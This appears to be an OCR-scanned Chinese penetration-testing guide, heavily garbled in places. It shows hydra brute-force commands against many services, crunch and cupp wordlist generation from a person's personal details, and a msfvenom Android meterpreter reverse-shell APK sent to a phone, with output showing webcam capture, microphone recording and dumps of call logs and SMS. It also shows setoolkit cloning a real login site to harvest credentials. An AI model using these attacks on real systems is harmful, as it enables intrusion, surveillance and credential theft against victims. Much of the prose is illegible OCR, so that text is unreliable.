# hydra ftp://ip —-| AP % -P FaFH —t KA2 (FKIN 16)

# hydra ftp://ip -| AP % -P F#FH —-e ns —vV
3. AR web B %K, get 7 A:

# hydra -| AP % —p ZEHFH —t &4 -vwW -e ns ip

http—get /admin/
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(o) REREHE

# hydra —| AP % —p FAFH -t & —vwW -e ns —f ip
http—get /admin/index. php

4. L% web &%, post 7 X.:

# hydra —| BlP % -P A5 #H —s 80 ip http—post—form

"/admin/login. php:username="USER"&password="PASS &sub
mit=login:sorry password"

# hydra -t 3 -1 admin -P pass.txt -o out.txt -f
172.20.10. 2 http—post—form

"login. php: id="USER " &passwd="PASS” :wrong username or
password"

(BHHA: ~t A&EKI, -| AP %~ adnin, FH#
pass. txt, R & A out.txt, -f HBHMT —/ N FA#IE L
172.20.10. 2 B 4% ip, http—post—form & 4% fi# & &  http % post

TR E LB <titled PR BER £ T IEFRGIA
B &R T, )
5. B f# https:
# hydra —m /index. php —| muts -P pass.txt 172.20.10.2
https

6. X fi# teamspeak:
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B

BE M

# hydra -I AP % -P £4FH -s 505 -W ip
teamspeak

7. 5L/ cisco:

# hydra —P pass. txt 172.20.10.2 cisco

# hydra —m cloud —P pass. txt 172.20.10.2 cisco—enable

8. AL /4 smb:

# hydra —| administrator —P pass. txt 172.20.10.2 smb

9. B fi# pop3:

# hydra —| muts —P pass. txt my. pop3.mail pop3

10. 25/ rdp (ZAZE®) :

# hydra ip rdp —| administrator —P pass. txt -V

11. B % http—proxy:

# hydra —| admin —P pass. txt http—proxy://172.20.10. 2

12. #LfE telnet:

# hydra IP telnet -| P P E#a5# —t 32 -s 23 —e ns
-f -V

13. B f# imap:

# hydra -L user.txt —p secret 172.20.10.2 imap PLAIN

# hydra -C defaults. txt -6
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imap://[fe80::2c:31ff:fe12:ac11]:143/PLAIN

14. B fi# mysql

# hydra —| root -P pass.txt -e ns 172.20.10.2 mysql

BRAAERNERNFAEOREZEGFTHEBIEKRZ AT LA
IRy, IR AL BIG Ty BAR T, o — B AR AR KA A
EANFHIZE AFR?

X R AMAr, —AREEAR TS F A A AL A,
X RS R Ao LA A, AR AT @ KK T R 6 E A
PR EFRAMET RIS, AL H TR A R
HF| AL EH, X EFHAZARBIET K, FHBILEAG, EFT T

S ILT B A=A,

Crunch %405 3 & & T K .

BB

T8 KE (Lik)

An

min EEwmINF

max HERRFHABERKE (ik)

oprions
—b T AR a9 KDy, BRI U K
—c g2 A 69T R, BPEL e AL Ay N4

—d R4 48 B) & AL a9k $
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IEES |g|

BE R
-e R SAF AL F AT, B R LA 8 h AT Ak A
—f 18 ) = X A4 (/etc/share/crunch/charset. Ist)
—i KTy A& X, PP aaa, aab —> aaa, baa
~1 BE 5 BEEER, RAZFHAELELTH
-m 8% 5-p 458
o FEARA 4G
P T8 % TR VAL 0y T XEAT
—q BRI A, BB pass. txt
-r RXEZERXR—FF B L4
s R — AL T, BPAR TR A A xxxx
¥
-t A6 52 5 A iy i 69 A& X
-u BOEITH A S0 (LA KRG —ANEA)
-z JE4% A R0 F A, T4 gzip, bzip2, |zma, 7z
% REHTF
B REAFIHAT T
@ RENEFH
: REKEFHF
& 1 )4 T
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(1) £ & pass01-pass99 AT A K 5404
crunch 6 6 —t pass%% >>newpwd. txt

@ ~
crunch 6 6 pass%% newpwd.txt

Crunch will now generate the following amount of data: 700 bytes
0 MB

0 GB

0 TB

0 PB

Crunch will now generate the following number of lines: 100

P newpwd.txt

MHF(F) #RIB(E) #EER(S) EM(O) &

pass@0
pass0l
passB2
passB3
pass@4
pass5
passB6
pass@7
passB8
pass@9
passl
passll
passl2
passl3
passld
passl5
passl6
passl/
passl8

B 4.3.2.8 4 % pass01-pass99 Fr A 4 404
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B

B

HE ()
(2) £z N B FEEH, L P AIE{LA pass
crunch 6 6 —t pass@@ >>newpwd.txt , XEAHATETFET

A E A2 E] newpwd. txt T, T H.

e ~
crunch 6 6 passaa

Crunch will now generate the following amount of data: 4732 bytes

0 MB

0 GB

0 TB

0 PB
Crunch will now generate the following number of lines: 676

passaa
passab
passac
passad
passae
passaf
passag
passah
passai

M4.3.2.9 £de ) BFFHEED, L FATw{LR pass
(3) A MmN EH, L PATWILY pass, B4z H KF
crunch 6 6 —t pass,, >>newpwd. txt

@ =
crunch 6 6 pass,,

Crunch will now generate the following amount of data: 4732 bytes

0 MB

0 GB

@ TB

@ PB

Crunch will now generate the following number of lines: 676

passAA

passAB

passAC

passAD

passAE

passAF

passAG

passAH

passAIl

passAJ]

B 4.3.2.10 AR, LPATEILH pass, EAZAKE
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() BEBEFE
(4) £ oA AL, AT Wz A pass, & —fz H4FRFHF

crunch 6 6 —t pass’~ >>newpwd. txt

— reot @ kali: ~

Xt @ff HRiE EE

passa<
passa)>
passa),
passa.
passa?

passa/
passo)
pass #!
pass#a)
passit
pass#$
passti
pass#”

K 4.3.2.11 AmSA2%4, LPATWiih pass, & A2 W HHFHF

4 T3 cupp:
Kali A TEPRXAZXAN, HKNEEZLE—T, WA

apt—get install cupp %0 & 4.3.2.14 P11~

IFEHEIZHRGE

1IE7E 7 3R

EFEIERRKSE

T5 [#FH] &K
cupp

AET 0 M86G8, FXET 1 M908, ZEHH 0 48HE, 8 71 " MEERBEAR.

HETH 13.3 kB ;93#,

BESHEEHEE 60.4 kB B Z .

% Bl :1 http://mirrors.aliyun.com/kali kali-rolling/main amd64 cupp all 0.0+20190501.git98

6658-6 [13.3 kB]

B F&# 13.3 kB, #M 6% (2,369 B/s)

EEEFRREZENRHEE cupp,

(EEZHHEBE ... RHYHEERS 292857 A XHMEH. )

HEEME .../ /cupp_0.0+20190501.git986658-6_all.deb ...

IEEME cupp (0.0+20190501.21t986658-6)

IF#E®E cupp (0.0+20190501.¢1t986658-6)

EHEAERBF kali-menu (2021.1.2) At & 28

EELERT man-db (2.9.3-2) B9f % 8

ﬁﬁm@m‘f

B 4.3.2.14 %% cupp
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FAER 2

E\a}

B

IR T AN cupp - | FF45 B3, M AAB XA 8, X E R

it ARSI A— 2, 4w 4.3.2.15 BT

cups.py! Common

User
N Passwords
\ 00 Profiler

[ Muris Kurgas | jorgan@remote-exploit.org ]
Mebus | https://github.com/Mebus/]

[+] Insert the information about the victim to make a dictionary
[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: JJ

& 4.3.2.15 223 cupp

REMEEL, ok s, . HELT
5&2:5%57‘{c2 FIGNES £F§:;%F;§§§:<f§: é%;

root@kali: ~

X#F EfE tRE B8/ HEE

First Name: wenlong

Surname: dong

Nickname: dalong

Birthdate (DDMMYYYY): 19890907

Partners) name: luwa
Partners) nickname: hu
Partners) birthdate (DDMMYYYY): 19900826

Child's name: tinger
Child's nickname: myting
Child's birthdate (DDMMYYYY): 201508505

Pet's name: haha
Company name: ts

Do you want to add some key words about the victim? Y/[N]: 5211314
Do you want to add special chars at the end of words? Y/[N]:

Do you want to add some random numbers at the end of words? Y/[N]:
Leet mode? (i.e. leet = 1337) Y/[N]

[+] Now making a dictionary ...

[+] Sorting list and removing duplicates ...

[+] Saving dictionary to , counting

[+] Now load your pistolero with and shoot! Good luck!

A 4.3.2.16 & E A%
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(o) BEMELE
ROART 9077 Mok B 5 AR B, RITTE— T4

R LA ER 4o 4.3.2.17 i,

XHE(F) URIE(E) HBZ(S) EmM(O) FBENH)

wenlong
wenlong@7
wenlong®719
wenlong®789
wenlong®79
wenlong@9e7
wenlongl9
wenlongl967
wenlongl989
wenlongl99

H4.3.2.17 AALTELFH

MATETE, BMNEAE—TZILRALZALA TR E@OHAE
SR AR T, 2R A R0 T IRA FEE, {2 KRN S RF
ts X— & kA, R 5EFpMEs, XAt F o meEseHs
KNS DASPIEFE L, ZARLAE O T BTN,
XEATERGZERAERN A THE RN, ZEREAW, B
A 152019 #E A K AL I a9 FHLE L, 4o R B K@ id hydra T HE
R REA, AR AX 9000 ZAH AR 5 20 £y 3L AL 2 338 7R

J& IR T EA A 152019, ARG AR &R T, XHAFH
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T APE GG TR R R AT AR

HC X TR R sk ag 77 ikde LA RTR . 238 &4 R iR SN
——MBET, KRTMALNE 48 M ANA 5 F 2RE0F
BRI T o

4.4 HiZI AT R ?

1) FaA Wsb RE4TH . M

2) WL P AL B SR % A5

3) Wm BT RE, KIEFH+HFHERTH

4) REAREBEAREFZE, weffti it as, mwhLof (F

LINIE) BAE

&, BHmAEEE
51 BHEBEAHXRAALND?
BT AR E Bk R A
AR EREFE, SR E R T AR, =
YA KA R ) 2 ARG F AR ET . AR ARK
R EFBBEZ B AR T RGFH, e T ARRAAFE R
RAEE, BRAEEEA, RRIKAARZLEFF. IFLMREGF

pAaft b AARAT R . SR B A AR, RA9IK PR R L
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B

(=) LEMERE
%7 . B4 BATRTRAFIVEFRAA DT FMIERSITH, &
AR VLIAETRARRIET 5 ? 122 R E EHfe G 4iE3t L T
o ZTHIIE, BEREZRBAR@IIZ LOR? XN NHLHET,
BREBAERNDAZF AZI B ARG EAL KT R BR @3 Z & T o
THETR, BIXREXRRBER AT %, RS R6FHEL
WAEH T, BEMARGG AR T T ARG F A RAT R 8, RE
TARE ARG A ERRF W LRAT, TERREL, TE LA EA,
L FE. FAAEIE IR AL X AR T AR B, B L AR R B R AR K
P2 ey A A
LARILH L C T FAT AE LB E B Ay, PTABL R &%

FAYARTT A

5.2 EERIATHHH?
X B RV AR R msf G TR F RIE T —TF BENEFHZEHR
T AR E N, BARF AN K android Fh, LHFRATRAR
A kali, &A% 4 K& android 495 11425, 4= 5.2.1 B
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oc APK 172.20.10.8 5555
venom Payload Creator (
IP: 172.20.10.8
PORT: 5555
TYPE: android (android/meterpreter/reverse_tcp)
CMD: msfvenom -p android/meterpreter/reverse_tcp \
LHOST=172.20.10.8 LPORT=5555 \
> '/root/android-meterpreter-stageless-reverse-tcp-5555.apk’

[i
[i
[i
[i

[i] android meterpreter created: '/root/android-meterpreter-stagel

MSF handler file: '/root/android-meterpreter-stageless-reverse-tcp-5555-apk.rc'
Run: msfconsole -q -r '/root/android-meterpreter-stageless-reverse-tcp-5555-apk.rc’

Quick web server (for file transfer)?: python2 -m SimpleHTTPServer 8080
]

B 5.2.1 £&% android K5
BV LRG0 R D3 N B EHL, 4o 5.2.2 g

K522 #NaEH

R )G xAE T 0Q KA &R N FiEERIEK, 0B 5.2.3 B
BRI &
Q...

B 17:03:02

9 android-meterpr..55.apk (2.95KE) f

O 3= & MWL) N - T

FAIC) EEE(S)

B 5.2.2 Ri&ES )5

s
0
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‘ BEMEBE

FIGRBME RFEEIANALTF, BT RA M F T ARTIRE,

FEFHATARIL, o REIF AR T AR LRET, B 5.2.3 77

B
5:06 @ - @ il
5:09 B -+ @ Sal G2
A © o g
< MainActivity
MainActivity
RiXFEE ©
*E"QQ B RIRENE
B 1.0 -> 1.0 | A/)) 10.2KB
RIEEIE o

. BEEIEFEE
EZHBAENEESRAE, SOEEBS Trojan/
Android.Metasploit.a[prv,bkd.gen]

$ATERE
EERfTRIE °
BNBERREANES
+#10.2KB
AfE %
2 R AR FRO AR IR
R o
EHUGRIEERS
B
RSN XEERAS °
EEEE
EMEERE °
AU T BTN o

fiE P/ B PR EX 52 A

ISHFHVEEE A -

B 5.2.3 ZEAER
KRG BMFE 2 F B RLA, XL Fhtekali 2
EREG R —ALERYS, MEZIEBRRAN. BNLTF B KT,
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BEMESE (o)

do & 5.2. 4 =, BRI

msfce = erpreter Wels] c
Processing /root/android-meterpreter-stageless-reverse-tcp-5555-apk.rc for ERB direct
ives.
resource (/root/android-meterpreter-stageless-reverse-tcp-5555-apk.rc)> use exploit/multi
/handler
Using configured payload generic/shell_reverse_tcp
resource (/root/android-meterpreter-stageless-reverse-tcp-5555-apk.rc)> PAYLOAD andro
id/meterpreter/reverse_tcp
PAYLOAD = android/meterpreter/reverse_tcp
resource (/root/android-meterpreter-stageless-reverse-tcp-5555-apk.rc)> LHOST 172.20.
10.8
LHOST = 172.20.10.8
resource (/root/android-meterpreter-stageless-reverse-tcp-5555-apk.rc)> LPORT 5555
LPORT = 5555
resource (/root/android-meterpreter-stageless-reverse-tcp-5555-apk.rc)> ExitOnSession
false
ExitOnSession = false
resource (/root/android-meterpreter-stageless-reverse-tcp-5555-apk.rc)> EnableStageEn
coding true
EnableStageEncoding = true
resource (/root/android-meterpreter-stageless-reverse-tcp-5555-apk.rc)> run -j
Exploit running as background job @.
Exploit completed, but no session was created.

Started reverse TCP handler on 172.20.10.8:5555
msf6 exploit( ) > 1

Re BATHF A5 2HFZTEA MainActivity A2 /5, 40 B

5.2.5 P

[ s1s

% 192 71



it kali RARARIET —

BTkt

— ANFAT

45

®i =8 WO

meterpreter dalvik/android

meterpreter dalvik/android

terpreter fandroid

r dalvik/android

dalvi droid

meterpreter dalvik/android

meterpreter android

meterpreter android

meterpreter

meterpreter dalvik/android

meterpreter vik/android

meterpreter dalvi roid

terpreter vik/android

r dalvi ndroid

2=

() 2 RAREASE

meterpreter, 4= & 5. 2. 6 I,

85T ZRITALERTIF% session, HABINEHEF

@ localhost
@ localhost
localhost
localhost

ue_a3s8

u@_a3ss Localhost

u0_a358 @ localhost
u@_a358 @ localhost

) localhost
u@_a358 @ localhost
u0_a358 @ localhost
u@_a358 @ localhost
ue_a3 @ localhost
ud_a358 @ localhost

ue_ @ localhost

ions -i 1

meterpreter > I

B 5.2.6 & tep EiE

HBAVE — TR LS, # A\ help B 5.2. 7-5. 2. 10 Fi 7~

meterpreter > help

Core Commands

Command

2
background

channel

close
disable_unicode_encoding
enable_unicode_encoding
exit

get_timeouts

guid

help

info

irb

load

machine_id

pry

quit

read

resource

Description

Help menu

Backgrounds the current session

Alias for background

Kills a background meterpreter script

Lists running background scripts

Executes a meterpreter script as a background thread
Displays information or control active channels
Closes a channel

Disables encoding of unicode strings

Enables encoding of unicode strings

Terminate the meterpreter session

Get the current session timeout values

Get the session GUID

Help menu

Displays information about a Post module

Open an interactive Ruby shell on the current session
Load one or more meterpreter extensions

Get the MSF ID of the machine attached to the session
Open the Pry debugger on the current session
Terminate the meterpreter session

Reads data from a channel

Run the commands stored in a file

B 5 2.7 #uard
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Stdapi: File system Commands

Command Description

cat Read the contents of a file to the screen
cd Change directory

checksum Retrieve the checksum of a file
cp Copy source to destination

del Delete the specified file

dir List files (alias for 1ls)
download Download a file or directory
edit Edit a file

getlwd Print local working directory
getwd Print working directory

lcd Change local working directory
11ls List local files

1pwd Print local working directory
I List files

mkdir Make directory

my Move source to destination

pwd Print working directory

rm Delete the specified file
rmdir Remove directory

search Search for files

upload Upload a file or directory

B 5.2.8 &4
TR ATHTERSHIESFE R L

Stdapi: System Commands

Command Description

execute Execute a command

getenv Get one or more environment variable values

getuid Get the user that the server is running as

localtime Displays the target system local date and time

pgrep Filter processes by name

ps List running processes

shell Drop into a system command shell

sysinfo Gets information about the remote system, such as 0S

B 5.2.9 43 THRIERZ ARG G4
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Stdapi: User interface Commands

Command Description

screenshare Watch the remote user desktop in real time
screenshot Grab a screenshot of the interactive desktop

@ 5 2 10 iiélq\/?\, ﬁu&/ﬁ‘%‘

Stdapi: Webcam Commands

Command Description

record_mic Record audio from the default microphone for X seconds
webcam_chat Start a video chat

webcam_list List webcams

webcam_snap Take a snapshot from the specified webcam
webcam_stream Play a video stream from the specified webcam

B 5.2.11 ik 4

Application Controller Commands

Command Description

app_install Request to install apk file
app_list List installed apps in the device
app_run Start Main Activty for package name
app_uninstall Request to uninstall application

B 5.2.12 & RA&4
WXL RRCOERE T, TEMLKE T T IASAITOOERAE:

1) app_list: A& FHLF L4 app
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meterpreter > app_list
Application List

Package
Running IsSystem

2 Button Navigation Bar com.android.internal.systemui.navbar.twobutton
false true
3 Button Navigation Bar com.android.internal.systemui.navbar.threebutton
false true
3601k & X 5 28 com.qihoo.contents
false false
ATRE L BN F com.xiaomi.aiasst.service
false false
ARServer com.standardar.service
false false
AiasstVision com.xiaomi.aiasst.vision
false true
Analytics com.miui.analytics
false true
Android Accessibility Suite com.google.android.marvin.talkback

B 5.2.13 7| FHLLE AT A B A
2) webcam_list: & F#&EM K7k
meterpreter > webcam Llist

1: Back Camera
2: Front Camera

B 5.2.14 EFHEZL K%

3) webcam snap —i 2 A A AT HEEZAL KRB
B8 B AR A 12 /root/SGKOymun. jpeg X2, RFiF2 83477,
KR REAEILAITANADRET ™

SGKOymun.jpeg (JPEGImz: X+
meterpreter > webcam_snap -i 2
Starting ...
[+] Got frame o Kali Linux %] Kali Training % Kali Tools ¥{ Kali Forums
Stopped
Webcam shot saved to: /root/SGKOymun.jpeg
meterpreter
meterpreter
meterpreter
meterpreter
meterpreter
meterpreter
meterpreter
meterpreter
meterpreter

met o

C @ file://root/SGKOymun.jpeg wes [ND0)

>
>
>
b
3
>
>
>
>

B 5.2.15 A AT B FAR k4658
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B

‘:@:. E?félﬁ”' *%‘%é

4) webcam_stream TR KL IRE, WL AL 4 T :

meterpreter > webcam_stream -h
Starting ...
Usage: webcam_stream [options]

Stream from the specified webcam.
OPTIONS:

<opt> The stream duration in seconds (Default: 1800)
Help Banner

<opt> The index of the webcam to use (Default: 1)

<opt> The stream quality (Default: '50')

<opt> The stream file path (Default: 'pxPEhPay.jpeg')

<opt> The stream player path (Default: AJuKodmW.html)

<opt> Automatically view the stream (Default: 'true')

B 5.2.16 #Foh L

HKAVH) R AT BABAR K TR — A5 AR, 4o B 5.2.17 B

5 Metasploit screenshare - 17 X +
meterpreter > webcam_stream -d 5 -i 2

Starting ... @ file:/{/root/ECFNVCIj.html
Preparing player ...

Opening player at: /root/EcFNvCIj.html
Streaming ...

i Linux % Kali Training % Kali Tools % Kali Forums

#%x (leafpad:5379): WARNING *x: : Invalid
/usr/share/themes/Kali-Dark/gtk-2.0/assets/t
borders don't fit within the image

*x (leafpad:5379): WARNING **: : invalid

#%x (leafpad:5379): WARNING *: : invalid
Stopped

B 5.2.17 F AN
5) record_mic —d 5 A K5 FH 5 FIM

meterpreter > record mic -d 5
Starting ...

Stopped
Audio saved to: /root/ZPeeUjOy.wav

B 5218 &
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6) dump_call log FR BB 1510 K

meterpreter > dump_calllog
Fetching 4316 entries

Call log saved to calllog dump_20210206181133.txt

B 5.2.19 FRBGBFILE

| d calllog_dump_20210206181133.txt

XHHF) fmiB(F HFS\ EM(0) FEAH)

Number : 1. D

Name : null

Date : Fri Oct 25 17:35:17 GMT+08:00 2019
Type : Unknown

Duration: ©

.0

: Fri Oct 25 21:56:58 GMT+08:00 20819
: INCOMING
Duration: 677

Al oL )7
! null
: Sat Oct 26 08:47:28 GMT+08:00 2019
: INCOMING
42

st 3
Donuut
: Sat Oct 26 11:36:49 GMT+08:00 2019
: INCOMING
Duration: 97

#2564

Number : 82 )7

Name ! NuUc.

Date : Sat Oct 26 15:13:30 GMT+08:00 2019
Type : INCOMING

Duration: 109

B 5.2.20 EFEEITE

7) dump_sms Fk 4813 i@ 4m

meterpreter > dump_sms
Fetching 2204 sms messages

SMS messages saved to: sms_dump_20210206181632.txt

B 5.2.21 KB4 fE
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[ sms_dump_20210206181632.txt

XF(F) 4RIB(E) fEZER(S) EmM(O) #HENH)

Date: 2021-02-06 18:16:33.940278944 +0800

0S: Android 10 - Linux 4.9.186-perf-g90eb916 (aarch64)
Remote IP: 172.20.10.4

Remote Port: 37018

: Incoming
: 2021-02-04 13:15:47
Address : 10061
Status : NOT RECEIVED
Message : ESGIANF , ABRRY | RETEHHMAN IR , tRESREE L BSRELE" , 28

: Incoming
: 2021-02-04 10:51:11
: 10001
Status : NOT RECEIVED
Message : ¥EESHEBIRGKSL , FiLFEWNRARE, HERETZEEEEEME— AR " RHUBE

: Incoming
: 2021-02-02 17:29:45
Address : 10692632604503160
Status : NOT RECEIVED
Message : [BIMSIX] #EB9#3a%3 : 631143 , SIEEEMhea |, BEinausis !

#4

B 5.2.22 & K413
8) XL AMKS, Hlhelal B AR, B F AR KRB A
BT, 1242 IRREEIT,
meterpreter > hide_app_icon

Activity MainActivity was hidden

K 5.2.23 &EBMR
AL R AT E o953 5m A ERT R 26— H K, SABK
WA S X R RRAT G —F G ERAST o e REIAAL
F A4 09 5 X BEAT N2, BB BOF A, 5 % = 5 AT 4R 4,
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B

BEMEEE (o)
AR A RARIEA K DL o

5.3 JufTR5 #5?

1) RNEAfaARmaZEwif, BABRETUETHBRR M
RFMFEGRRAZETE A

2) INEIFAREAARE

3) & FErmA N R

4) ZFE R TR R RAETH

5 FMEFTRZAEAIHIE, BT FFRA

HETAAFHESE
6.1 frARAR TAAFAEK?
X ERETVETUA AR £,
£ —ABHEAERT, ELREHERETFAAGALE
T, ORBHERALERENY, TTILR, BHREKRARE
B L xeur Btk R RIE, BLA —&EIT XX RRH &, ALK
Fitkty, F234M4, FRE—REALRAIAMXIRKERL I T
k), TRAMATE, FORITFOEI—F, MEZRGARER,
RRKRARFAAMIBT o
) 2: X FHMBIBRATE 7 BIRFT AT RGEE, HHHIE
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i

(=) EEME

BT H R AERE T L FEELHNINIE, FH—ALT TER
W5, TASFETHAGBERAETA, MEKF 2827 5 1TH
AT o

B3 XRTAENSEFTRITEN, £B AT K6 “XX
BAT” , BAEFGHA T R RAE, MaE A, ARt E
Z G Rm LA, B R AN T B A S A A IR LT .

TaAXTARSIREFAENE EE AHRE:

HaITAELE, £A—MA A" ITEF" RERGMEAEH
T

HAETAY, FHEH, RE—TIHE, RR—TTERAFE
K. AR TAZFA AAGIFE 5, VORMAREER., i RARG
Py X, bR E S — gk, —1TER5FF. e R2AE,
HACHALRET A R, MAERBEASZHFEILT, 289
Ko HATRFHZNELERZTEXEHFORFOMNEETRE
Fo HAIAFR A AN EmANRERE., FH0, 12
. RRETF55 5 TEwRkI, HEFLFFH, FRASA A
0 F k.

ME Pz A TAAFORERS . 48ZFE R FIREITE A

K5, WIE A i de b AL 695 LKA EIR S, AR R B4
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BEMEHE (o)
S IAEFW T ik,

WFR, REGBEEGAAANIS LA IS FEkRE
R 2%k A AL R TAFF B, Rz 220 M Ee9F 4,
CEERE AL EZEQGLY,

HEIRFRARIOFRAGLZERNS, 54T KK
TAAE TR IHRF A LERBIFATHERE, —RIF &%
EEEME, R ITHRFRHRIRARBERANRERANRN TR
e H0AR o

PR AL & TAZ F SR AR 32 5 AR AR W = A kSl £ 69 AR Al
Lo AEARIZ AR ZBARN CARRERF7, RAF AR S A E
R, L —kads:

1) /B3 (pretexting)

184t (pretexting) & —##]& BAEFF, AEE4 T EA
ok PR R M A1 S0 F B % KB A HRIEE T A
REGHR, AEIHEHEEORBRE.

2) AR H L (diversion theft)

&K/ w154 % (IVR/phone phishing, IVR: interactive
voice response)

3) T4 (Baiting)
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() ZRBEASE

|

F1-x 3% (Quid pro quo) ZHH I s8] A AR A R X

FRIARBAEAR, BRI FTLE BAEXEZ L, £ 2003 F13 4

=

/-

ZAPEF, 0N P NEARE LS E B THELUBRIUEEA
R B ARG —HRMNE, B La— B E P LRI 8 Ao
i do A — N5 T LUR B Bl AE e 22 R (13 8] 69 55 A b KA
) o MEHELTRAZRNIERIFAR, “Foh” BrHEK
PR, AN S BAL S RERE &

4) B (Tailgating or Piggybacking)

RKGE w48 R AR G — &k RF 6gR A AE, dad
BB &, FAN—ANTRE K 3%

6.2 BER JmATH R 15 &2 HHR?

o TAFEERURRF XAl i Z 695 m 2 HiT1%
#Ha. TR —AMRFE T T &I RB AL TR

1) this—#R AFRGETIRM: X2 —HH LA s
TAEF RGN K0 R 26 A BR P HBAS B r X BEAFHILT,
BEHEH R E B — A F IR PR K27 8] 3R 3 A 89 W T
PEIEX 2 A R F 69 A EAFRAA R, A8 F AR R
B AAG IR S R AR, XL EBRE T

BEXZRFEAT, LEHFARNTERKP SRR EET IR,
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BEMEAE (o)

BARARE AR Rakafet i8S g SR 1NE E—EA
R IMAEAEMNENR, HRE—EDRE LS L)AL, 8%, ©-F
WA P e ATID AR AR “A SN E RGN R B AE .

2) HEfEk: TR NZE AR TAFRERRTELNIE
TENERRT . KEZHWHELERRZHERBAT. FR. 384
N B BT R AWM F TR IRF4R4EH, e FBI

BH NIRRT B AR E 0 IR 53 B R K 2w, &K
PRIE T4 R A AR R R SRR P TR R AT R AT RAR G IR B A
KEBRGH 22 RE LR FM—2F, FTHERE—®ERGE
Ko wEup PR NGRS XA F A G RARE RRIE
CRLERE A= R AT ER

)& KI5 — AN 6 F BAZ R AR R4 = ARk T %
FRT AR E LR T &, BRARERITE LARBIFE £

E—EHAT, T8 LERATFLERAE bR, BR
HRRRERATRE & —LEEE LK,

6.1 B, BEBT -G RRRETERERGRA
A, W R g 2 Ry KR KA 2 TAEFE, AFEP 2

FEEARBIRTEFTARGERETL, REHMERDEE,

w

BG4 TR 58 7 R E &K,
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(=) ~ LRI E
AFEKMNME —T A Kali PHALIHEHFHFIL

setoolkit, AAKMAELZFMAGT LA 6.2.1 P17

B 6.2.1 HrA44 setoolkit

MEE, HAEEWE6.2.2 i

i £ [ kali I3 Windows 10

mrs EI 1 root@kali; ~

3t EnfE B B

root@kali: ~

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.com

thub.com/1

Process Process-1:
Traceback (most recent call last):
File "/usr/lib/python3.9/urllib/request.py", line 1342, in do_open
h.request(req.get_method(), req.selector, req.data, headers,
File "/usr/lib/python3.9/http/client.py", line 1255, in request
self._send_request(method, url, body, headers, encode_chunked)
File "/usr/lib/python3.9/http/client.py", line 1301, in _send_request
self.endheaders(body, encode_chunked=encode_chunked)

& 6. 2.2 banner 1z &

KRG BAVBEIE TP T HEINDRFEL, B 6.2.3 i
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I

BN

2
B

Select from the menu:

1) Social-Engineering Attacks

2) Penetration Testing (Fast-Track)
3) Third Party Modules

4) Update the Social-Engineer Toolkit
5) Update SET configuration

6) Help, Credits, and About

Exit the Social-Engineer Toolkit

set> 1.

H6.2.3 ek
HFMNEF 1AL IS E, ReEDE, wwF 6.2.4 1T
Select from the menu:

Spear-Phishing Attack Vectors
Website Attack Vectors
Infectious Media Generator
Create a Payload and Listener
Mass Mailer Attack
Arduino-Based Attack Vector

Wireless Access Point Attack Vector
QRCode Generator Attack Vector
Powershell Attack Vectors

Third Party Modules

Return back to the main menu.

B6.2.4 —BEE
REAAMAIRFLEN T ALK S, RINEA—T A
Mok &, BF2HEDHE, 0B 6.2.5 T
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Java Applet Attack Method
Metasploit Browser Exploit Method
Credential Harvester Attack Method
Tabnabbing Attack Method

Web Jacking Attack Method
Multi-Attack Web Method
HTA Attack Method

99) Return to Main Menu

B 6.2.5 %k ik E
ENVEE FZA R RFRK S FAE1E L0987k, &3 K
BEZE, hal 6.2.6 T

The first method will allow SET to import a list of pre-defined web
applications that it can utilize within the attack.

The second method will completely clone a website of your choosing
and allow you to utilize the attack vectors within the completely
same web application you were attempting to clone.

The third method allows you to import your own website, note that you
should only have an index.html when using the import website
functionality.

1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

B 6.2.6 MasA R 7 X
TR R 2R MBS TAAERE, B TFRMNEA
I AL, AE 2 H e, LEREF2, LEWsh, WrAN2#
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2EMEE

& K 6.2.7 i

Credentlal harvester will allow you to utilize the clone capabilities within SET
to harvest credentials or parameters from a website as well as place them into a report

——— % IMPORTANT * READ THIS BEFORE ENTERING IN THE IP ADDRESS * IMPORTANT % --—-

The way that this works is by cloning a site and looking for form fields to
rewrite. If the POST fields are not usual methods for posting forms this
could fail. If it does, you can always save the HTML, rewrite the forms to
be standard forms and use the "IMPORT" feature. Additionally, really
important:

If you are using an EXTERNAL IP ADDRESS, you need to place the EXTERNAL

IP address below, not your NAT address. Additionally, if you don't know
basic networking concepts, and you have a private IP address, you will
need to do port forwarding to your NAT IP address from your external IP
address. A browser doesns't know how to communicate with a private IP
address, so 1if you don't specify an external IP address if you are using
this from an external perpective, it will not work. This isn't a SET issue
this is how networking works.

k> IP address for the POST back in Harvester/Tabnabbing [192.168.0.109]:[

B 6.2.7 &% E IP #uhk
X EIRXE PR S Hoh, KA AL kali AHLiX G IP:
192.168.0.109, A X FZAALEZEHZDET, o 6.2.8 FiT:

t:v t k> IP address for the POST back in Harvester/Tabnabbing [192.168.0.109]:
SET supports both HTTP and HTTPS

Example http://ww.thisisafakesite.com
k> Enter the url to clone:]]

K 6.2.8 x&F IP
KRG T BRMNB LTSN RE, XTERMNEFE—NREE
6.29 Fir =, XAZBIMSIX FE FERMOEZTNE, RWiu A

http://www. bimsix. com/ index. php?c=we | come&m=login.
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BIMIDMAFE | BIMAFREFS | MENETS | FRA/MBIMedE | 3BT | SitRES | FEmES | RTEuEsS | REES | SRS | BOF | S65Es
BRFEANEESTE

A =0 2RER

B 6.2.9 SLlE6y BARF 55

IFEIRAEBRAVE kal i FAFTMAINRAE, REETE, do

K 6.2.10 P

ack> Enter the url to clone:http://ww.bimsix.com/index.php?c=welcomedm=1ogin

ysite: http://ww.bimsix.com/index.php?c=welcome&m=10gi
Littl

K 6.2.10 X ERLEWMET &

WE PR ERER B CERT) B FHNIRS, HIiBIT 4 80 5%

o, FTa&f14£win10 2L FH N 192.168.0. 109 477 W & 4= B

6.2. 11 P, SLIEF 2k 5 R M oh—A4% —#f
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RRBR - cRRAEt X [

O & 102.168.0.109,

lx BIMIRETS | BMPESTS | SESETS | FRA/EMerS | NERS | BiRRS | FANES | RTOVRS | KRS | WEOERS | 8ot | afests
EAERECHEEEEA

A ET-2RER

B 6.2. 11 MA4TIF SLle g M hk

bt kali FACLEIE T 192.168.0. 110 iX & win10 A

TR T REMSE, B 6.2.12 FiT, BT KET get K

192.168.0.110 - - [09/Feb/2021 17:54:43] "GET / HTTP/1.1" 200 -
192.168.0.110 - - [09/Feb/2021 17:54:43] "GET /favicon.ico HTTP/1.1" 404 -

B’ 6.2.12 w3y B
T @ EAVE & R sh# AK5 : dongwenlong, %54 : 123456,

ARG mERR, W 6.2.13 A
